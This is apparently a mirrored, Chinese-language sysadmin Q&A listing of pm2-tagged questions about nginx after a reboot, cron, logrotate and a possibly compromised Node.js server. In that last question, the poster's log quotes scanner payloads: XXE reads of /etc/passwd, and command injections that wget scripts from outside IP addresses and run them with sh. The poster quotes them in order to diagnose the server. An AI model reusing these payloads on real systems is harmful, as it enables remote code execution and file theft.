AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / server / 问题

问题[pm2](server)

Martin Hope
Tinstar
Asked: 2021-08-01 11:16:48 +0800 CST

重新启动 Ubuntu 服务器,无法再从浏览器访问 nginx 站点

  • 0

我今天早上重新启动了我的 Ubuntu 服务器,因为我遇到了似乎是内存不足的错误(偶尔会发生,还不足以尝试修复它)。但是现在,我的网站(以前运行良好)不再可以从浏览器访问。

设置:我正在运行一个 NuxtJS 站点,使用 pm2 来守护它,并使用 nginx 作为反向代理。我有一个 post-receive git 挂钩,这样我就可以推送到我的远程 git repo,然后重建应用程序并重新启动 pm2 实例。

我只能从服务器内部的终端窗口内访问我的站点。Lynx、wget 和 cURL 都可以工作,甚至可以遵循 301 重定向到 HTTPS。当我请求域本身时,它们正在工作,而不仅仅是被反向代理的 localhost:3000。如,curl https://my-domain.org工作。如果我尝试从任何其他终端窗口卷曲/lynx/etc,它只会等到超时。与浏览器相同 - 等待超时。

以下是我尝试/查看的内容:

  • 我正在使用 UFW,所以我检查了防火墙是否是问题所在。但是 80、443 和 8080 都设置为 ALLOW。
  • 我尝试查看是否 nginx 没有以某种方式在听,所以我尝试了sudo lsof -i -P -n | grep LISTEN. 这是它的输出:
nginx     2896     root    6u  IPv4 668673557      0t0  TCP *:443 (LISTEN)
nginx     2896     root    7u  IPv4 668673558      0t0  TCP *:80 (LISTEN)
nginx     2897 www-data    6u  IPv4 668673557      0t0  TCP *:443 (LISTEN)
nginx     2897 www-data    7u  IPv4 668673558      0t0  TCP *:80 (LISTEN)
nginx     2898 www-data    6u  IPv4 668673557      0t0  TCP *:443 (LISTEN)
nginx     2898 www-data    7u  IPv4 668673558      0t0  TCP *:80 (LISTEN)
  • 我尝试检查 nginx 的 access.log。我所有的 curl/wget/Lynx 请求都正常显示,但没有一个浏览器请求出现。我还查看了error.log,得到了这个:
2021/07/31 11:51:52 [emerg] 885#885: bind() to 0.0.0.0:443 failed (98: Address already in use)
2021/07/31 11:51:52 [emerg] 885#885: bind() to 0.0.0.0:80 failed (98: Address already in use)
2021/07/31 11:51:52 [emerg] 885#885: bind() to 0.0.0.0:443 failed (98: Address already in use)
2021/07/31 11:51:52 [emerg] 885#885: bind() to 0.0.0.0:80 failed (98: Address already in use)
2021/07/31 11:51:52 [emerg] 885#885: still could not bind()

到目前为止,我还没有找到任何解决方案。我只是感到困惑,因为无论发生什么变化,它都因重新启动而改变。任何想法都非常感谢。

编辑添加一些输出:

sudo systemctl status nginx:

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Sat 2021-07-31 15:05:53 EDT; 27min ago
  Process: 6834 ExecStop=/sbin/start-stop-daemon --quiet --stop --retry QUIT/5 --pidfile /run/nginx.pid (code=exited, status
  Process: 6840 ExecStart=/usr/sbin/nginx -g daemon on; master_process on; (code=exited, status=0/SUCCESS)
  Process: 6837 ExecStartPre=/usr/sbin/nginx -t -q -g daemon on; master_process on; (code=exited, status=0/SUCCESS)
 Main PID: 6841 (nginx)
   CGroup: /system.slice/nginx.service
           ├─6841 nginx: master process /usr/sbin/nginx -g daemon on; master_process on
           ├─6842 nginx: worker process                           
           └─6843 nginx: worker process                           

Jul 31 15:05:53 parrot systemd[1]: Starting A high performance web server and a reverse proxy server...
Jul 31 15:05:53 parrot systemd[1]: Started A high performance web server and a reverse proxy server.

的输出sudo nginx -T很长,所以我把它作为一个要点。

nginx ufw pm2
  • 1 个回答
  • 65 Views
Martin Hope
majneeds2chill
Asked: 2021-05-07 14:04:16 +0800 CST

我在面向 Internet 的服务器上运行的 Node.JS 程序正在将不可能的文本打印到标准输出日志。我被妥协了吗?

  • 2

(编辑:原来“奇怪的行为”是由一个简单的疏忽来解释的。把这个问题留在这里以防其他人忽略它)

我希望我问这个问题是对的。

我有一个简单的 Web 服务器应用程序设置,它做的很少。它在专用的 Ubuntu 主机上运行。Node 应用程序通过 PM2 运行,而 PM2 通过 NGINX 运行。Apache 通过 NGINX 运行一个单独的服务器,其中包含 Web 应用程序的图片。

我将节点应用程序设置为通过 console.log() 函数将所有带有时间戳的 URL 请求打印到标准输出。它还打印“404 Page Returned”返回 404 页面。PM2 将其保存在日志中。

像这样:

Event.Server (2021-05-06T00:24:48+00:00): End of client HTTP request -> /

当我将服务器上线的那一刻,它每天都充斥着可疑的请求(我假设这是正常的)。这些 URL 显然旨在利用不当的 URL 处理并尝试访问服务器上的敏感资源。日志通常如下所示:

Event.Server (2021-05-06T02:17:41+00:00): End of client HTTP request -> /boaform/admin/formLogin?username=admin&psd=admin

404 Page Returned

我服务器上的所有请求都发送到节点应用程序,该应用程序仅检查整个 URL 是否与某个文本字符串和一系列 IF 语句匹配,如果不匹配,则返回 404。该应用程序未设置为直接提取资源以任何方式从 URL 获取,所以我认为这对于这些类型的攻击/清理是防弹的。

我对网络安全知之甚少,但我认为如果服务器存在弱点,那肯定是 Apache/NGINX 配置而不是我的 Node 应用程序。

但是,应用程序已开始将奇怪的文本记录到标准输出。没有时间戳。它没有说“Event.Server”。

(哎呀,事实证明这是不正确的:)我的应用程序不会记录任何内容,除非有一些其他文本解释它正在记录什么。

然而,现在我发现我的应用程序中到处都有类似这样的记录:

0|first    | <!ELEMENT name ANY >
0|first    | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first    | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first    | <Request>
0|first    | <EMailAddress>aaaaa</EMailAddress>
0|first    | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first    | </Request>
0|first    | </Autodiscover>\x48\x48\x48\x48\x46\x00\x00\x00\x4a\x00\x00\x00\x57\x20\x00\x00\x00\x32\x00\x46\x00\x44\x00\x31\x00\x33\x00\x37\x00\x41\x00\x33\x00\x44\x00\x35\x00\x36\x00\x37\x00\x34\x00\x35\x00\x41\x00\x46\x00\x41\x00\x44\x00\x34\x00\x43\x00\x44\x00\x33\x00\x31\x00\x41\x00\x43\x00\x30\x00\x31\x00\x34\x00\x42\x00\x37\x00\x33\x00\x43\x00\x1c\x10\x11\x00\x00XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(busybox+wget+http://45.147.77.236/cache+-O+->+/dev/.p;sh+/dev/.p)&ipv=0
0|first    | _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=uname&ipconfigusername[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/su")]=&password=&repeatedPassword=<?=md5("phpunit")?>cH<!DOCTYPE xxe [
0|first    | <!ELEMENT name ANY >
0|first    | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first    | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first    | <Request>
0|first    | <EMailAddress>aaaaa</EMailAddress>
0|first    | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first    | </Request>
0|first    | </Autodiscover><?=md5("phpunit")?><?=md5("phpunit")?><?=md5("phpunit")?>cH<!DOCTYPE xxe [
0|first    | <!ELEMENT name ANY >
0|first    | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first    | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first    | <Request>
0|first    | <EMailAddress>aaaaa</EMailAddress>
0|first    | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first    | </Request>
0|first    | </Autodiscover>\x48\x48\x48\x48\x46\x00\x00\x00\x4a\x00\x00\x00\x57\x20\x00\x00\x00\x32\x00\x46\x00\x44\x00\x31\x00\x33\x00\x37\x00\x41\x00\x33\x00\x44\x00\x35\x00\x36\x00\x37\x00\x34\x00\x35\x00\x41\x00\x46\x00\x41\x00\x44\x00\x34\x00\x43\x00\x44\x00\x33\x00\x31\x00\x41\x00\x43\x00\x30\x00\x31\x00\x34\x00\x42\x00\x37\x00\x33\x00\x43\x00\x1c\x10\x11\x00\x00ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+bin.sh%3B+wget+http%3A%2F%2F203.159.80.188%2Fbin.sh%3B+chmod+777+bin.sh%3B+.%2Fbin.sh%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1<?=md5("phpunit")?>

同样,这是在我的节点应用程序的标准输出日志中;它不是来自其他任何地方。从应用程序的设置方式来看,这对我来说似乎是不可能的,并且让我相信我的服务器可能已被入侵。

如果我需要提供其他信息,我绝对会。

如果这不是发布这个问题的好地方,如果有人在某个地方发表评论,我将非常感激。

我很茫然。我的问题是这样的:

我可能受到了损害吗?如果是这样,我需要做些什么来保护此服务器?

ubuntu logging hacking node.js pm2
  • 1 个回答
  • 800 Views
Martin Hope
pete
Asked: 2021-04-02 17:22:47 +0800 CST

cron 没有重新启动 pm2 [重复]

  • 1
这个问题在这里已经有了答案:
为什么我的 crontab 不工作,我该如何排除故障? (7 个回答)
去年关闭。

我已经尝试了很多东西,但 cron 只是不会重新启动 pm2。我设置了crontab -e:

SHELL=/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin

*/10 * * * *  /usr/bin/node /usr/bin/pm2 restart all

我输入:

cat /var/log/cron.log

它说:

Apr  2 01:00:01 fatsecret CRON[8202]: (peteblank) CMD (/usr/bin/node /usr/bin/pm2 restart all)
Apr  2 01:00:01 fatsecret CRON[8201]: (peteblank) MAIL (mailed 78 bytes of output but got status 0x004b from MTA#012)
Apr  2 01:10:01 fatsecret CRON[8454]: (peteblank) CMD (/usr/bin/node /usr/bin/pm2 restart all)
Apr  2 01:10:01 fatsecret CRON[8453]: (peteblank) MAIL (mailed 78 bytes of output but got status 0x004b from MTA#012)

所以看起来它每 10 分钟重新启动一次,但事实并非如此。

cron pm2
  • 2 个回答
  • 1768 Views
Martin Hope
Andy
Asked: 2016-11-21 20:54:53 +0800 CST

logrotate 中带有 copytruncate 选项的无尽文件

  • 0

当我在此配置中使用 logrotate 时:

/home/ubuntu/.pm2/logs/* {
        rotate 2
        size 200k
        missingok
        notifempty
        compress
        delaycompress
        copytruncate
        create 0640 ubuntu ubuntu
}

我的文件(我们称之为test)在达到 200k 之前不会旋转。当它达到 200k 时,它会被复制截断。我剩下test0k(正确!)和test.1> 200k。

问题是第二天我会得到test> 0k(正确增长),test.1在0k和test.1.1> 200k。随着时间的推移,我最终将test.1.1.1.1...在 0k 处获得无穷无尽的数量,而昨天创建的最后一个在 > 200k 处。

我最初的想法是有两个文件,test大小小于 200k 的文件和另一个更旧的日志文件。

我需要使用 copytruncate,就好像我没有 PM2 进程将继续写入旧日志文件一样。

我究竟做错了什么?

ubuntu logrotate pm2
  • 1 个回答
  • 620 Views

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    新安装后 postgres 的默认超级用户用户名/密码是什么?

    • 5 个回答
  • Marko Smith

    SFTP 使用什么端口?

    • 6 个回答
  • Marko Smith

    命令行列出 Windows Active Directory 组中的用户?

    • 9 个回答
  • Marko Smith

    什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同?

    • 3 个回答
  • Marko Smith

    如何确定bash变量是否为空?

    • 15 个回答
  • Martin Hope
    Tom Feiner 如何按大小对 du -h 输出进行排序 2009-02-26 05:42:42 +0800 CST
  • Martin Hope
    Noah Goodrich 什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同? 2009-05-19 18:24:42 +0800 CST
  • Martin Hope
    Brent 如何确定bash变量是否为空? 2009-05-13 09:54:48 +0800 CST
  • Martin Hope
    cletus 您如何找到在 Windows 中打开文件的进程? 2009-05-01 16:47:16 +0800 CST

热门标签

linux nginx windows networking ubuntu domain-name-system amazon-web-services active-directory apache-2.4 ssh

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve